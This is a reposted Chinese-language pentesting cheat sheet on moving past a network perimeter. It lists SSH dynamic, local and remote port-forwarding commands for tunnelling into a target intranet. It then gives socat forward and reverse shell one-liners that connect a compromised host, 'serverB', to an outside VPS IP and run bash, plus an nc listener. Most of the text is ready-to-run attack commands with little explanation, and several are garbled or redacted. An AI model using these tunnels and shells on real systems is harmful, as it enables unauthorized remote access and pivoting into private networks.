穿越边界的姿势

转自:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484014&idx=1&sn=78fcbe24a3956ed1a0bf3fba594eb0d9&chksm=ec1e3246db69bb50949eef2218344c79ec94f2ec662729a924eb788a4a47747ba0dd3750c3dc&scene=21#wechat_redirect

穿越边界的姿势_第1张图片

利用ssh建立隧道

一、动态端口转发

ssh -D 用ssh做socks代理。假设你内网里某台机器可以上网,但是你不能上网,如果你有ssh到那台机器的权限,那么就可以利用ssh方式建立一个代理socks5,通过代理来上网。

ssh -D[本地IP或省略]:[本地端口][登陆服务器的用户名@服务器IP]-p[服务器ssh服务端口(默认22)]

本地执行命令:

ssh -D1080 [email protected]

效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,

可以在server B上执行:

ssh -D 1080 [email protected]

这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,

可以在本地执行:

ssh -D1080 [email protected]

这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。

二、本地端口转发

原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

在serverB上执行:

ssh -L7001:localhost:[email protected]

作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口

三、远程端口转发

原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

在serverB上执行:

localhost: ssh -R 3306:localhost:7070 [email protected]

作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。

获取一个shell窗口

Python PTY shell

使用nc在vps上用监听4444端口:

nc -vv -l -p4444

在serverB上执行:

穿越边界的姿势_第2张图片

socat

正向shell

vps上执行监听1337端口:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

在serverB上执行:

socat FILE:`tty`,raw,echo=0TCP:106.22.50.48:1337

反向shell

vps上执行监听1337:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

在serverB上执行:

socatTCP4:106.22.50.48:1337EXEC:bash,pty,stderr,setsid,sigint,sane

你可能感兴趣的:(穿越边界的姿势)